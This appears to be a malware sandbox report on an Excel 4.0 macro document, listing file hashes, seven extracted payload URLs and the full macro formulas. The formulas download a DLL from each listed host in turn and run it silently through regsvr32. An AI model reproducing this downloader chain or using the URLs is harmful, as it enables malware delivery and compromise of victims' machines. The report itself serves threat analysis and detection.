General
-
Target
a0c1193974c2f9f31dcf33f381fe61c3ed6593807d89cdcda18bde093f385505
-
Size
20KB
-
MD5
581493ba1e164329959471c71d4eb877
-
SHA1
8923214be0f945e8812bbff887f40a200de8a42e
-
SHA256
a0c1193974c2f9f31dcf33f381fe61c3ed6593807d89cdcda18bde093f385505
-
SHA512
75b898b8527fe70f95134d5ab65ecdbbb7acf328c270553d01c2698613b00ce8217970f4946997c7d7f668845e1d1db03fe7f0d36576e04acbbcbe0071b09ec4
-
SSDEEP
384:DA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:E2EINro4FLAOCBn9kC+xbLkWf
Malware Config
Extracted
http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/
https://binaghetta.it/wp-content/gdONbcsI6Q9/
http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/
http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/
http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/
http://abildgren.dk/webmail/XY8XstOvGiLx/
http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://binaghetta.it/wp-content/gdONbcsI6Q9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildgren.dk/webmail/XY8XstOvGiLx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
a0c1193974c2f9f31dcf33f381fe61c3ed6593807d89cdcda18bde093f385505